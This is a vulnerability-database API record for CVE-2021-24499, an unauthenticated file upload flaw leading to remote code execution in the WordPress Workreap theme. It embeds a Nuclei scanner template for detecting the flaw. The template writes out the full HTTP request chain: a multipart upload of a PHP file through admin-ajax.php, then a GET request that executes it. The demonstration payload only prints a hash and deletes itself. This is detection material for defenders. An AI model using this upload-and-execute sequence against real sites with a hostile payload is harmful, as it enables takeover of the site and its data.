{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-24499/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-24499/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-24499/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-24499/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-24499/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-24499"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-24499"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.60113,
      "kev": false,
      "percentile": 0.99095
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-24499.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-24499\n\ninfo:\n  name: WordPress Workreap - Remote Code Execution\n  author: daffainfo\n  severity: critical\n  description: WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.\n  remediation: |\n    Update to the latest version of the Workreap plugin to fix the vulnerability.\n  reference:\n    - https://github.com/RyouYoo/CVE-2021-24499\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-24499\n    - https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb\n    - https://jetpack.com/2021/07/07/multiple-vulnerabilities-in-workreap-theme/\n    - http://packetstormsecurity.com/files/172876/WordPress-Workreap-2.2.2-Shell-Upload.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-24499\n    cwe-id: CWE-434\n    epss-score: 0.60113\n    epss-percentile: 0.99094\n    cpe: cpe:2.3:a:amentotech:workreap:*:*:*:*:*:wordpress:*:*\n  metadata:\n    max-request: 2\n    vendor: amentotech\n    product: workreap\n    framework: wordpress\n  tags: cve,cve2021,wpscan,packetstorm,rce,workreap,wordpress,wp-plugin,intrusive,wp,amentotech,vkev,vuln\n\nvariables:\n  string: \"CVE-2021-24499\"\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9\n        X-Requested-With: XMLHttpRequest\n\n        -----------------------------cd0dc6bdc00b1cf9\n        Content-Disposition: form-data; name=\"action\"\n\n        workreap_award_temp_file_uploader\n        -----------------------------cd0dc6bdc00b1cf9\n        Content-Disposition: form-data; name=\"award_img\"; filename=\"{{randstr}}.php\"\n        Content-Type: application/x-httpd-php\n\n        <?php echo md5(\"{{string}}\");unlink(__FILE__);?>\n        -----------------------------cd0dc6bdc00b1cf9--\n      - |\n        GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{md5(string)}}'\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100e9963b3c5009943bfb96c8fe1552c79a6d703350e93aa5d3aa430ddb15de3943022100db43373fdef8260a504449e0884407ee5cb396285e3b4b9d2907faedd1e66a22:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-24499"
}